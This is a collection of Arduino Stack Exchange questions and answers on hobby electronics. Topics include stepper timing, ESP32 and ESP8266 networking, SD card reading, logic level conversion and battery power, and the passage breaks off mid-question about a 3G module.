message:
Arduino Clock Speed effect on Stepper Speed

I am running a [Pololu A4988 Stepper driver][1] with two (soon to be three) steppers using the `AccelStepper` library. I have wired 1/8th microstepping on both as smooth running is important.

The motors run fine however, when running simultaneously, if Stepper 1 finishes its move before the Stepper 2, there is a marked increase in speed in the Stepper 2 (evident audibly and visually).

The code I use to run the motors is:

    void MoveAccelXY(int Xm, int Ym) // function 6
    {
      X_Axis.moveTo(Xm);
      Y_Axis.moveTo(Ym);
      while(X_Axis.distanceToGo() !=0 || Y_Axis.distanceToGo() !=0)
      {
        X_Axis.run();
        Y_Axis.run();
      }
      Xpos = X_Axis.currentPosition();
      Ypos = Y_Axis.currentPosition();
      Serial.print("X" + Xpos);
      delay(50);
      Serial.print("Y" + Ypos);
      delay(50);
      Serial.print("C");
    }

I would like there to be no speed drop on any steppers. Increasing the input voltage does not have an effect.

Is the Arduino clock speed the culprit?

  [1]: https://www.robotshop.com/media/files/pdf/datasheet-1182.pdf

body:
Why would the clockspeed change when driving multiple motors at the same time?

How do you power the motors and Arduino?

I suspect that your power supply is the problem.
Running 2 motors likely doubles the current consumption. Try to measure the input voltage, does it drop when driving both motors?

You should check the current your motors can consume and compare with what your power supply may provide. (Also keep the 1A limit of the driver in mind)


sender: user

sender: assistant

body:
Without seeing the rest of your code, the best guess - and I think it is quite likely - is the use of `delay()` and printing within the stepper function. With 2 motors running, and even ignoring the printing time, there will be a total of 200ms taken up by the delays. That means each motor gets serviced a maximum of 5x/sec. Stop one motor, and the other one can double that to 10x/sec.

Look at the Blink Without Delay example for one way of managing timed events without calling `delay()`. The [SimpleTimer][1] library provides another.

Update:

> ...run() events are triggered within a while() loop ...

Ah, yes, I see that. So it looks like only one motor could run at a time - the while() loop runs until this motor reaches its target. But you said you run two at a time. So yes, I think understanding the rest of the code will help.

  [1]: https://playground.arduino.cc/Code/SimpleTimer


message:
How many clients can connect to an ESP32?

I am using an ESP32 as my master and 10 ESP8266-07s are connected to the master that is in AP mode.

But I need at least 12 clients.
Please help me to increase the number of clients the ESP32 can handle in AP mode.

I have read this article but it did not help me
https://arduino.stackexchange.com/questions/54459/esp32-ap-max-connections-4-or-10

body:
The [SDK API documentation][1] from Espressif directly notes:

> `uint8_t max_connection`
>
> Max number of stations allowed to connect in, default 4, max 4

**EDIT**

However, another area of the API documentation (The [API Guide](https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/wifi.html#soft-ap-basic-configuration)) notes:

> `max_connection`
>
> Currently, ESP32 Wi-Fi supports up to 10 Wi-Fi connections. If
> max_connection > 10, soft-AP defaults the value to 10.

  [1]: https://esp-idf.readthedocs.io/en/latest/api-reference/wifi/esp_wifi.html#_CPPv216wifi_ap_config_t


body:
The max number of stations for SoftAP is a runtime setting available in Arduino.

ESP32 arduino WiFi library and esp8266 ESP8266WiFi library have it as last parameter in `softAP()` function which starts the SoftAP.
```
bool softAP(const char* ssid, const char* passphrase = NULL,
    int channel = 1, int ssid_hidden = 0, int max_connection = 4);
```
[esp8266 arduino doc][1]

> max_connection - optional parameter to set max simultaneous connected
> stations, from 0 to 8. Defaults to 4. Once the max number has been
> reached, any other station that wants to connect will be forced to
> wait until an already connected station disconnects.

[ESP32 SDK doc][2]

> uint8_t max_connection   Max number of stations allowed to connect in,
> default 4, max 10

  [1]: https://arduino-esp8266.readthedocs.io/en/latest/esp8266wifi/soft-access-point-class.html#softap
  [2]: https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/network/esp_wifi.html#_CPPv416wifi_ap_config_t


message:
Read only one line in SD card

I have some C++ code, but I cant convert it to Arduino language.
I just want to ask, what is the same as `getline()` (C++ code) function in Arduino?

I just wanted to get the first line in my SD card...
I can only display all text inside my SD card...

Example:

    line1   <-   only this line should display(and this line will delete in text
                 file... but that is another issue... i will just focus to get the
                 line1 and get the value)

    line2

    line3

    line4

    line5

This code displays all lines

        #include <SPI.h>
        #include <SD.h>

        File myFile;

        void setup() {
          // Open serial communications and wait for port to open:
          Serial.begin(9600);
          while (!Serial) {
            ; // wait for serial port to connect. Needed for native USB port                          only
           }

           Serial.print("Initializing SD card...");

           if (!SD.begin(4)) {
             Serial.println("initialization failed!");
             while (1);
           }
           Serial.println("initialization done.");

           // open the file. note that only one file can be open at a time,
           // so you have to close this one before opening another.
           myFile = SD.open("test.txt", FILE_WRITE);

           // re-open the file for reading:
           myFile = SD.open("test.txt");
           if (myFile) {
             Serial.println("test.txt:");

             // read from the file until there's nothing else in it:
             while (myFile.available()) {
               Serial.write(myFile.read());
             }
             // close the file:
             myFile.close();
           } else {
             // if the file didn't open, print an error:
             Serial.println("error opening test.txt");
           }
         }

         void loop() {
           // nothing happens after setup
         }

body:
There is no builtin way to do that but you got all the necessary tools at hand.

End of line should be signaled by a decimal 10, aka LF(Line Feed) character.
So what you do is keep reading until you encounter LF or end of file, which then is the entire line you want to read.

    while (file.available() && file.peek() != 10) // peek returns the next character without incrementing the read index
        file.read();

This code does exactly that. Now you could either store the read bytes in a buffer (**big enough!**) right away or instead find out the number of bytes beforehand to create a precisely sized buffer afterwards and use the read(buffer, length) overload to read all bytes at once.

Please keep in mind that the LF character has to be there in order to be read. So if you are the one creating the files, be sure to place it. (most desktop text editors do that for you)

Example:

    char buffer[20];
    uint8_t i = 0;

    while (file.available() && file.peek() != '\n' && i < 19)    // note how this also prevents the buffer from overflowing (18 max to leave space for '\0'!)
    {
        buffer[i] = file.read();
        i++;
    }
    buffer[i + 1] = '\0';    // it is good practice to end strings with a terminating NULL character


message:
Read analog port set as output

I have a PWM analog port that is outputting a frequency, is it possible to do an analogRead on the same pin and get a correct value? If so, will reading that port disrupt the freq output on the pin? This is being done on a Teensy 3.2 device. My goal is to output the freq visually on an OLED. Tnx.

body:
No, it's not possible.

PWM is not actually analog - it's digital, but switching on and off at a high speed.

If the pin were capable of reading an analog value at the same time as outputting a PWM waveform (which I highly doubt...) all you would get is alternating 0 and 1023 values (or whatever range the Teensy reads in).


body:
You want the voltage that would be read by a voltmeter? If you know what value you set for PWM, you know the voltage that is generated.

But if you are curious,  you can connect the PWM output to ADC pin and read for example a 100 values and calculate the average. You will see that at the same resulution of PWM and ADC, you get as average of ADC values the same value as you set for PWM.

This is for M0:

    void setup()
    {
      Serial.begin(115200);
      while (!Serial);

      analogWriteResolution(10);

      for (int i = 0; i < 1024; i += 10) {
        analogWrite(7, i);
        delay(100);
        long sum = 0;
        int n = 0;
        unsigned long start_time = millis();
        while (millis() - start_time < 100) {
          sum += analogRead(A1);
          n++;
        }
        Serial.print(i);
        Serial.print(' ');
        Serial.println(sum / n);
      }
    }

    void loop()
    {
    }


body: You can create a parallel branch from PWM pin with a diode. And put a 0.1uF capacitor and parallel 1k resistor after the diode and connect analog pin between diode and resistor to read pwm avarage output voltage. But becareful it will give 0,6V below.


message:
ESP8266 fail to connect MQTT broker

I am using NodeMCU dev board with ESP8266 WIFI.

Every time I try to connect to my local broker it returns this error:

    failed, rc=-2 try again in 5 seconds

I am using Ubuntu 18.04, my local brokers are Mosquitto and EQMTT. I tried both of them through pubsubclient library and it doesn't connect. Using MQTT Box works connecting to my local brokers. Connecting to my WiFi also works. When I connect to a MQTT broker using pubsubclient e.g. mqtt://test.mosquitto.org:1883/ it works. It just doesn't seem to work with local broker. This is the code:

    #include <ESP8266WiFi.h>
    #include <PubSubClient.h>

    // Update these with values suitable for your network.

    const char* ssid = "mywifi";
    const char* password = "password";
    const char* mqtt_server = "127.0.0.1";

    WiFiClient espClient;
    PubSubClient client(espClient);
    long lastMsg = 0;
    char msg[50];
    int value = 0;

    void setup() {
      pinMode(D7, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
      Serial.begin(9600);
      setup_wifi();
      client.setServer(mqtt_server, 1883);
      client.setCallback(callback);
    }

    void setup_wifi() {

      delay(10);
      // We start by connecting to a WiFi network
      Serial.println();
      Serial.print("Connecting to ");
      Serial.println(ssid);

      WiFi.begin(ssid, password);

      while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
      }

      Serial.println("");
      Serial.println("WiFi connected");
      Serial.println("IP address: ");
      Serial.println(WiFi.localIP());
    }

    void callback(char* topic, byte* payload, unsigned int length) {
      Serial.print("Message arrived [");
      Serial.print(topic);
      Serial.print("] ");
      for (int i = 0; i < length; i++) {
        Serial.print((char)payload[i]);
      }
      Serial.println();

      // Switch on the LED if an 1 was received as first character
      if ((char)payload[0] == '1') {
        digitalWrite(D7, LOW);   // Turn the LED on (Note that LOW is the voltage level
        // but actually the LED is on; this is because
        // it is acive low on the ESP-01)
      } else {
        digitalWrite(D7, HIGH);  // Turn the LED off by making the voltage HIGH
      }

    }

    void reconnect() {
      // Loop until we're reconnected
      while (!client.connected()) {
        Serial.print("Attempting MQTT connection...");
        // Attempt to connect
        if (client.connect("ESP8266Client")) {
          Serial.println("connected");
          // Once connected, publish an announcement...
          client.publish("outTopic", "hello world");
          // ... and resubscribe
          client.subscribe("inTopic");
        } else {
          Serial.print("failed, rc=");
          Serial.print(client.state());
          Serial.println(" try again in 5 seconds");
          // Wait 5 seconds before retrying
          delay(1000);
        }
      }
    }
    void loop() {

      if (!client.connected()) {
        reconnect();
      }
      client.loop();

      long now = millis();
      if (now - lastMsg > 2000) {
        lastMsg = now;
        ++value;
        snprintf (msg, 75, "hello world #%ld", value);
        Serial.print("Publish message: ");
        Serial.println(msg);
        client.publish("outTopic", msg);
      }
    }

Note: The brokers are running, I can even connect it through MQTT Box (attached picture).

[![MQTT Box connection][1]][1]

  [1]: https://i.stack.imgur.com/mWw3J.png "MQTT Box connection"

body:
`127.0.0.1` is not the address of your computer.  That is the address of the "loopback" interface - a virtual interface that allows a device to talk to itself.

That means that when you are using the MQTT server itself you can connect, because it's all the same computer.  However the ESP8266 is trying to connect to itself, not the MQTT server.

You need to replace `127.0.0.1` with the actual IP address of your MQTT server.

The simplest way of getting your computer's IP address is to open a terminal window and type:

    hostname -I


message:
ESP32: Disable Brownout Detector

I have an ESP-WROOM-32 and I'm using Arduino IDE to push code on it. My ESP is powered via 2 AA batteries and got one power supply problem.

It works well on new battery but after a bit, I will always get this error repeatedly:

> ets Jun  8 2016 00:22:57
>
> rst:0xc (SW_CPU_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) configsip: 0,
> SPIWP:0xee
> clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
> mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:812
> load:0x40078000,len:0 load:0x40078000,len:11584 entry 0x40078a60
>
> Brownout detector was triggered

**So, I know that it's possible to disable that feature in ESP32. My question is how to do it?**

**What I have done that didn't work:**

Add this code in my Arduino IDE:

    #include "soc/soc.h"
    #include "soc/rtc_cntl_reg.h"
    setup(){
        WRITE_PERI_REG(RTC_CNTL_BROWN_OUT_REG, 0); //disable brownout detector
    }

Change Arduino\hardware\espressif\esp32\tools\sdk\sdkconfig with:

    CONFIG_BROWNOUT_DET=                //previous was "=y"
    CONFIG_BROWNOUT_DET_LVL_SEL_0=      //previous was "=y"
    CONFIG_BROWNOUT_DET_LVL_SEL_1=
    CONFIG_BROWNOUT_DET_LVL_SEL_2=
    CONFIG_BROWNOUT_DET_LVL_SEL_3=
    CONFIG_BROWNOUT_DET_LVL_SEL_4=
    CONFIG_BROWNOUT_DET_LVL_SEL_5=
    CONFIG_BROWNOUT_DET_LVL_SEL_6=
    CONFIG_BROWNOUT_DET_LVL_SEL_7=
    CONFIG_BROWNOUT_DET_LVL=           //previous was "=0"

body:
For me brownout issue was solved by removing the esp32 from Arduino IDE board manager + removing files from disk and use install procedure "Using Arduino IDE with the development repository" - https://github.com/espressif/arduino-esp32/

I guess it will use newer version of arduino-esp32 that has some brownout protection due to CONFIG_REDUCE_PHY_TX_POWER being activated by default. Also you should probably learn how to decrease wifi power + deep sleep for longer battery usage.


body:
Maybe it's silly but I added a delay to my script before I got the error.

    Serial.println("Delay 5s Brownout detector was triggered");
    delay(5000);


message:
The right way to find and understand the libraries

I am working on a project to send sensor values from esp8266's Wemos D1 mini to MySQL.
I tried using the library MySQLconnection.h but I couldn't make it to connect to wifi. So I uploaded a simple program to connect the board to WiFi using ESP8266.h but I got the error that Unable to compile for Wemos D1 board.

Please tell me the right procedure to select the right library for the problem defined.

body:
You should break your problem down into simple parts, which it seems you are on-track to do. Your ultimate goal appears to break down into the following sub-tasks (not in order):

1. Read sensor value
2. Connect to a WiFi network
3. Connect to a MySQL server
4. Send sensor data to MySQL database

You are unlikely to find a single library to do all of these tasks, but as progress in solving each step, any library that works is the "Right" one, in general. Choose a library that solves an individual task.

You say you tried to upload a simple program to only connect to WiFi, but that it did not compile. The clue to why it did not compile will be found in the actual compile error message. If you can update your question with the error message and the code to the simple program, you can get some guidance from the users of this site to solve that problem.


message:
How can I detect which baudrate a virtual COM port is set to?

I would like my software running on Leonardo to behave differently depending on the baudrate of the USB Serial set by the PC. For example, I want to make a smart USB to UART converter which performs some processing of the data it transmits. It would be much more elegant to set the UART baudrate to whatever value the PC is requesting on USB side, rather than hardcoding a value.

AFAIK 32u4 chip is used as a USB to UART converter on Mega, where it supports different baudrates, so this should be doable.

I also have a Teensy 3.2 board, so if anyone knows how to detect the baudrate on this board I'm also interested.

body:
From looking at the source it appears that on 32u4 based boards `Serial`  includes extra methods to access the settings from the USB host:

see: https://github.com/arduino/ArduinoCore-avr/blob/b7c607663fecc232e598f2c0acf419ceb0b7078c/cores/arduino/USBAPI.h#L129

From USBAPI.h:

 // These return the settings specified by the USB host for the
 // serial port. These aren't really used, but are offered here
 // in case a sketch wants to act on these settings.
 uint32_t baud();
 uint8_t stopbits();
 uint8_t paritytype();
 uint8_t numbits();
 bool dtr();
 bool rts();


message:
Bluetooth OBD2 ELM327 connectivity issues

I made a little project using an Arduino UNO, a 3.5" display, a HC-05 bluetooth module and an ELM327 (cheap ebay clone). I managed to establish communication, read the data, interpret and display it, but only one problem remains that keeps bothering me.

After some exchanges of data between Arduino and the OBD2 adapter, communication just drops.  I don't know if its from the HC-05 or ELM327. As far as I could debug it, the data from ELM327 comes incomplete. Usually the response from it, transformed into chars, is like "0103141 03 02 00 >" and I use the ">" char in the program as data exchange complete. When the problem occurs I receive fewer bytes from the OBD adapter and without the ">" char, something like "0103141 03 ".

I made a function that resets the HC-05 module and reconnects, but it takes a few seconds and I want my data to come as a continuous flow.

I tried a few methods of debugging, such as changing baud rate of the HC-05, and adding some delays, but I haven't come to a solution.

I believe that the problem might me one of these three:

1. The cheap ebay clone messing things up.
2. The HC-05 not sending the complete data.
3. A problem with my code.

Below I have attached the part of the code that does the sending of the command and reading the response. When the problem occurs, it gets stuck in the while loop because I have no terminating ">" char and I have to break it, call another function that re-establishes communication and so on.

So my question is: has anyone confronted this problem where ELM327 sends incomplete data that cannot be used?

     BTSerial.println("010F1");
     BTSerial.flush();
     delay(10);
      if (BTSerial.available()>0)
          busy = true;
      while(busy = true && inData != 62)
      {
          temp++;
          if (temp>500000){
              resetBT();
              BTSerial.println("ATWS");
              break;
          }
          if (BTSerial.available()>0){
              inData=0;
              inData = BTSerial.read();
              if(inData != 32) {
                  buf[i] = inData;
                  Serial.print(char(buf[i]));
                  i++;
              }

          }

      }
    Serial.println();
    busy=false;
    inData = 0;
    i = 0;
    memset(buf, 0, sizeof(buf));
    temp = 0;

body: I managed to solve the issue. After some more testing, I ended up noticing that the problem was somehow the data exchange through the HC-05 bluetooth module. I changed it from being via SoftwareSerial library to the main serial com port and I had no issues since then. I don't know how that library may have caused the problem, but that was it.


body:
You can much more easily interface your Arduino with an ELM327 in software with the library [ELMduino.h][1]. It's downloadable through the Arduino IDE and includes examples.

  [1]: https://github.com/PowerBroker2/ELMduino


message:
The need to use logic level converter

Why do we need level logic converter to have 5V or 3.3V?

Because in Arduino Uno/Mega (don't know about other boards), they already provide 5V and 3.3V for us to use.

body:
Level logic converting for level shifting is different from powering a device.

Logic level is the state of a digital input/output. No voltage (or very little of it) is considered `LOW`.   Over the threshold voltage is `HIGH`. On a 3.3V system, if you set pin to `HIGH`, it has 3.3 V.  On a 5 V system, `HIGH` is 5 V.

A digital input pin reads `HIGH` once the threshold voltage is surpassed. If the input pin is for 3.3 V and doesn't have 5 V tolerance, feeding 5 V as `HIGH` could destroy it.  That is why you need level converter from 5 V to 3.3 V.

If the input pin is for 5 V and the threshold voltage is higher then 3.3 V,  3.3 V input will not be read as `HIGH`.  That is when you need level converter from 3.3 V to 5 V.

You must consult the 3.3 V device datasheet and check if the input pins are 5 V tolerant.   You should also check the digital pin threshold voltage on a 5 V device in case you want to communicate with it using 3.3 V.


message:
Use 5V SD-Adapter on 3.3V System

I want to use a Catalex Micro SD Card Adapter in Combination with my Arduino MKR GSM 1400. The problem is, that the Arduino uses 3.3V to operate but the SD Adapter needs 5V (or at least 4.5V) to operate properly. Can I just use the 5V output of my Arduino to power the adapter, or will a higher voltage destroy the arduino when using it over a longer period of time? And if so, how can I use my MKR GSM 1400 with a SD-module? Maybe by unsing a step up/down converter in my circuit or just switch to a module that uses 3.3V?

body:
The SD card is a 3.3 V device. The 5 V module with SD card adapter steps down the voltage for powering the card and has logic level conversion for card's SPI pins.

If you want to connect SD card to a 3.3 V board it is better to use a simple breakout board without power and signal conversion.

I do not recommend you to connect a 5 V SPI device to MKR SPI pins without logic level conversion.

EDIT: smajli analyzed in his answer the logic level conversion chip used on the adapter you use. it doesn't output more than 3.3 V and you can use it powered from 5 V. but it is still a workaround.


body:
Catalex Micro SD Card Adapter has built-in level converter in a form of 74LVC125A 3-state buffer. This buffer chip needs 1.65 to 3.6V voltage supply. The +5V from your Arduino is lowered to 3.3V by the adapter (as seen in the schematics, just change 74ABT125 to 74LVC125A).

Link to [74LVC125A][1]
Link to Catalex Adapter [schematic][2]

To operate the adapter you would need a certain logic level. Your Arduino provides signals with 3.3V level. This fits perfectly to the adapter.
The answer is yes, you can connect your Catalex SD card adapter with your Arduino.
Good luck

  [1]: http://www.ti.com/lit/ds/symlink/sn74lvc125a.pdf
  [2]: https://file.vishnumaiea.in/hardware/micro-sd/Catalex-Micro-SD-Card-Module-SCH.png


body:
I have seen in several [Catalex schematics][1] that show pin 13 of the 74ABT125 is connected directly to GND. This would be correct?

[![Catalex schematic][2]][2]

  [1]: https://nettigo.pl/attachments/531
  [2]: https://i.stack.imgur.com/6pPh9.png "Catalex schematic"


body:
You can use the adapter because:

 - the adapter uses an AMS1117 to generate 3.3V to supply the SD card and the level shifter
 - the level shifter is a 74LVC125 which uses 3.3V and works with 3.3V (and accepts up to 5V as input level)

The adapter works for 3.3V and 5V systems as long as 5V power is available.


message:
Passing HardwareSerial and SoftwareSerial as a Class Property

I wish to know if there is a way to use a single property `Serial0` to hold a `HardwareSerial` or a `SoftwareSerial` or other class instances supporting basic methods such as `available()`, `read()` and `write()`, in order to make a `CustomSerial` Class (*polymorphism*?).

    class CustomSerial{
        <GenericSerial??> Serial0;
        char c;
        void read(void){
            c=Serial0.read();
        }
    };

The calls should be:

    CustomSerial SerialCus;
    int n=SerialCus.available();
    char c=SerialCus.read();
    SerialCus.write(c);

What should I use as `GenericSerial` class, or what should be the proper use? I tried the `Stream` class (as the answer pointed), but for some reason the functionality is not preserved (it writes unknown characters). Should indeed `Stream` be the generic class I need for this?

body:
A base type for Arduino hardware serial classes, SoftwareSerial and other software serial classes and some other Arduino classes is [Stream (reference)][1]. [Stream.h on GitHub][2]

[![enter image description here][3]][3]

    class CustomSerial {

    private:
      Stream &stream;

    public:
      CustomSerial(Stream &_stream) : stream(_stream) {}

      int read() {
        return stream.read();
      }

      int available() {
        return stream.available();
      }

      int peek() {
        return stream.peek();
      }

      void write(byte b) {
        stream.write(b);
      }

    };

    SoftwareSerial Serial0(10, 11);
    CustomSerial SerialCus(Serial0);

    void setup() {
    }

    void loop(){
      if (SerialCus.available()) {
        char c = SerialCus.read();
        SerialCus.write(c);
      }
    }

  [1]: https://www.arduino.cc/reference/en/language/functions/communication/stream/
  [2]: https://github.com/arduino/ArduinoCore-avr/blob/master/cores/arduino/Stream.h
  [3]: https://i.stack.imgur.com/3OV45.png


message:
Use IR remote with arduino

I would like to use the IR remote with Arduino to turn on a LED and turn off the same LED when I push on the remote.

That is to say :

 - If I push on 1 I would like the LED turn on
 - If I push on 2 I would like the LED turn off

Here is my code :

    #include <IRremote.h>

    const int RECV_PIN = 7;
    IRrecv irrecv(RECV_PIN);
    decode_results results;

    const int L1 = 13;

    void setup(){
      Serial.begin(9600);
      irrecv.enableIRIn();
      irrecv.blink13(true);
      pinMode(L1, OUTPUT);
    }

    void loop(){
      if (irrecv.decode(&results)){
            unsigned int value = results.value;
            Serial.println(value);
            irrecv.resume();
            if(value == 12495){
            digitalWrite(L1, HIGH);
            delay(1000);
            }
            else if(value == 6375){
            digitalWrite(L1, LOW);
            delay(1000);
          }

      }
    }

But the problem is when I push on 1 I just see the LED turn on but very quickly the LED turns off then whereas I don't push on the button 2.

Could you help me please?

body: This line of your sketch `irrecv.blink13(true);` tells the `IRrecv` object to flash the LED on and off when an IR signal is received. `boarddefs.h` in the IRremote folder has pin number 13 defined as the default `BLINKLED`. The code you have written in `loop()` is trying to do something different with the same LED. I would remove this line `irrecv.blink13(true);` then try your sketch again. Once the LED is working correctly, try removing both of these lines `delay(1000);`.


message:
arduino firmware

Hi I was wondering if there is any way to/ how I might go about solving the following.

I am designing my own arduino board based on a mega32u4 chip and I want my arduino board to light up an indicator led depending on if an analog pin is in use. For example if a user uploads code that utilizes a certain pin say reading a voltage from A0, the arduino would light up an LED next to that pin.

I was thinking perhaps I could tie the analog pin to a digital pin in the firmware and have the digital pin go HIGH every time the analog pin is in use(is this possible/ could anyone point me to good examples online)?

The user needs to know whether or not the pin they think is writing is actually outputting a signal and/or if the pin they think is reading is reading a signal. This is beacause they will be hooking up outputs and inputs to the arduino board using conductive ink and if their circuit isnt working the indicator lights will let them know that their software is working but there is probably a break in the circuitry they drew out.

body:
When you upload code that **is** the firmware. There isn't another lot of firmware (like an operating system) that is always there (excepting the bootloader which is only used for uploading new code).

Maybe you could connect an LED, via an op-amp as an amplifier, to the analog pin, so that if a voltage appears that it would light the LED. However it could be "in use" and reading zero volts so that wouldn't prove an enormous lot.

---

>  would it be ill advised to attempt a solution on the lines of what Mikael proposed in the comments?

You can make your own analogRead function and encourage your users to use it (or do it via a #define) however that will only work if people use your new function or header file.

It would also have the side-effect of making other pins not available (ie. the pins you are doing the LED on) which might be confusing for users who are trying to use all available pins.

I assume this is some sort of teaching gadget? It might be better to teach people to do an indicator LED themselves rather than trying to automate it for them.


body: Create a library. User will include it and the h file will create a single instance of the handler object for your pin pairs. The handler will register a timer interrupt, and the interrupt will check the source pin and set the target pin.


message:
Is there any easy way to change Arduino Wifi shield to ESP8266?

As the title says, is there any easy way to replace WiFi shield with ESP8266, with as little as possible modification to code?

Here is my ESP:

[![How do I display this properly?][2]][2]

  [1]: https://arduino.stackexchange.com/questions/55688/how-do-i-use-rtpmidi-with-arduino-mega-and-esp8266!
  [2]: https://i.stack.imgur.com/OYt1C.jpg

body:
Consider porting your sketch to esp8266 board like Wemos D1. The API of the ESP8266WiFi library is same as the API of the WiFi library.

To use esp8266 as network adapter, you have two wiring options.

If you have or buy an esp8266 module with SPI pins, you can connect the esp8266 over SPI like the WiFi shield is connected. Then you upload [the WiFiSpiESP firmware][1] to esp8266 and you include in your sketch [WiFiSpi library][2] instead of WiFi library.

Second option is to connect esp8266 over Serial or SoftwareSerial. The esp8266 should have AT firmware installed. The you can include WiFiEsp library in you sketch and initialize it with the Serial interface of your choice. You can find the WiFiEsp library in Library manager. Most new esp8266 modules have AT firmware installed at default.

There is one more option for Serial connection, if WiFiEsp wouldn't work for you. [WiFiLink firmware and library][3]

All mentioned libraries WiFiSpi, WiFiEsp and WiFiLink have the same API as the WiFi library so the rest of the code should work without changes.

  [1]: https://github.com/JiriBilek/WiFiSpiESP
  [2]: https://github.com/JiriBilek/WiFiSpi
  [3]: https://github.com/jandrassy/arduino-library-wifilink
  [4]: https://i.stack.imgur.com/g5qCm.png


message:
Sending data over two independently powered arduinos

I have multiple arduinos that are each powered by a 12v battery through a 5v regulator.  All arduinos share a common ground.  Can I simply connect the digital output from one arduino into the digital input of another?  I'm worried the (small) voltage differences between each regulator could cause a problem.

body:
It's ok if the distance between the two devices are not too big. (couple meters)

Since the valid logic level (voltage) ranges are pretty wide a small difference won't affect the operation of the devices. Arduino uses TTL (5V) logic so let's see the level diagrams:

![TTL levels](https://sub.allaboutcircuits.com/images/04312.png)

If you see the output level ranges (on the right) are more strict than on the input side (on left) so the logic value remains valid even if a small voltage drop or noise occurs on the wire.

Make sure you won't connect two outputs directly since it can damage the microcontrollers. Connecting two inputs are totally safe.

EDIT: If you want to cover longer distances you need to use a [balanced line][1]  e.g. differential I/O-s, RS-485 or CAN. These are not default Arduino features so you'll need additional electronic to use them.

[1]:https://en.wikipedia.org/wiki/Balanced_line


message:
Using a analog multiplexer to use 9 serial input sensors?

I have 9 sensors, they will send a datastring to my Arduino through Tx/Rx (every 3½ seconds, pre-programmed). The only problem is that there's only one Tx/Rx port on an Arduino Uno. Is it possible to use an analog multiplexer to "make" more Serial ports? Because the sensors send something every 3½ seconds, there's no need to be fast.

EDIT: It's a Temperature and Relative Humidity Sensor

body:
No. Not unless you can change your communication protocol to be a "call-and-response" protocol.

Basically, the problem is this: *when* do you switch to *which* serial device? Unless all the devices have their timing synchronised there is no way of knowing - so how do you control your analogue multiplexer in that situation...?  You can't.

You would need to have some method of the master switching the multiplexer to a specific peripheral, then send a message to that peripheral saying "Send me your data now".

You would be better off investigating other boards with more UART ports, such as the Mega2560, and having multiple boards.

The Mega2560 has 4 UART ports. You can have 4 sensors per board (5, if you want to use SoftwareSerial or, better, AltSoftSerial), so you could get away with two boards.

One board acts as normal, communicating on the UART ports to 4 sensors, and also acts as an I2C or SPI master (the choice is yours). The second board communicates to 4 more sensors on UARTs and one further on using AltSoftSerial etc. It also acts as an I2C or SPI slave device.

The "slave" board just runs autonomously gathering data from the sensors it is directly connected to and storing those values.  The "master" then periodically asks the "slave" board for the latest data.


body:
Thanks for the answer and my apologies for the late answer.
I just tried a multiplexer, because some people said that I would work. I can receive info from all the 9 sensors. The sensor sends a datastring and I filter the temperature and relative humidity and then I switch to the next sensor. It works quite well, the only problem is that you can't request the datastring, so you should wait till the datatstring is sent


message:
Can a DHT11+ESP8266 be powered by a Adafruit USB LiPo charger directly?

I have rigged up a small DHT11+ESP8266 combo which I'm currently powering from the 3.3v from an Ardruino. I've ordered a 3.7v LiPo battery and have a Adafruit usb micro LiPo charger, however, the battery will take two weeks to come.

Can I plug the usb charger directly into the DH11 while my battery arrives?

body:
No, you can't.

The charger circuit will only operate properly with a battery attached.

It is not designed to provide power to a system. It is designed for charging the battery and nothing else.  You are supposed to remove the battery from the charger and then attach it to your circuit.  Even with a battery attached you can't use it to power your circuit - the voltage will be too high, and your target circuit will confuse the charger and it will fail to charge the battery properly (or it may end up over-charging the battery).

To do what it sounds like you want to do you need:

1. A LiPo charge circuit
2. A 3.3V regulator (ideally a Buck/Boost combined regulator)
3. Bypass circuitry to power the 3.3V regulator directly from the incoming power when present or from the battery when no external power is present.


message:
Adafruit Huzzah ESP8266 Battery Power issue

I'm trying to connect a ~5.5V (2 x 3V coin cells in series, but their voltage drops a little) to the VBat (or V+) of my **Adafruit Huzzah ESP8266** module (**not** the black Feather one, the smaller blue one: [https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/pinouts][1])
Whenever I do that the voltage output from the 3.3V pin drops to **~0-1 V** and thus the ESP stops working.

However when I use the FTDI cable (3.3 V) and connect it to my laptop, there is no problem, I get almost 3 V.

I also added a 1000mF capacitor to smooth out voltage signals and actually that also helps to increase the volt a little (without it I get almost a 0 V on the 3.3V output)

Any ideas?

  [1]: https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/pinouts

body:
After tinkering more, I figured out that the Huzzah module is happy to take in up **4.5V** via a 3 AAA battery cell so I guess it's ok up to 5V since my previous battery input was **over 5V**.

That's a little weird considering that in Adafruit's page, it says

> ..to make it easier to power, we put a high-current-capable 3.3V
> voltage regulator on the board. It can take 3.4-6V in but you should
> stick to 4-6V since the ESP8288 has high current usage when WiFi is
> on.

Hope this may help someone else.


message:
Build an improved GSM antenna for arduino mkr gsm 1400

I want to use an Arduino MKR GSM 1400 in my area wich has a bad connectivity on mobile internet. On my phone it's very weak and if i drive to the next village it works sometimes on the arduino with the given standard antenna but I want it to work in a wider range. Is there any antenna available specifically for mobile connections wich you can put on a arduino? And how do you call them and where can I buy such a thing or even build it myself? Do you have any suggestions for such an antenna? And is there something I can improve with just using software to strengthen the signal?

body: On one end of the MKR GSM 1400 is a *U.FL* antenna connector.  To that you need to connect a *U.FL To Female SMA Adaptor*.  That adaptor can then screw into an *SMA GSM Antenna* of your choice.


message:
How to configure TinySine 3G module (SIM5320E) for HTTP GET request

I recently bought a 'TinySine 3G shield (SIM5320E) 900/2100Mhz' based on Adafruit_FONA libraries to use with Arduino Mega 2560 R3.  It successfully registered with Vodafone AU. Other functionality works (SMS, GPS) but not HTTP/TCP.

[![View from SimCom AT Command Tester ][2]][2]

  [1]: http://m2msupport.net/m2msupport/tutorial-for-simcom-m2m-modules
  [2]: https://i.stack.imgur.com/r6pzE.png

I'm following this [TCP/UDP section of SimCom tutorial][1] to receive data from a REST API. But I cannot set the APN for TCP as there is no support for `AT+CSTT` command as it seems.

I can see it's on WCDMA network.

        AT+CREG?
        +CREG:1,1

        AT+CPSI?
        +CPSI: WCDMA,Online,505-03,0x014E,xxxxxxx,WCDMA IMT xxxx,xxx,xxxx,0,12.0,97,12,18,500
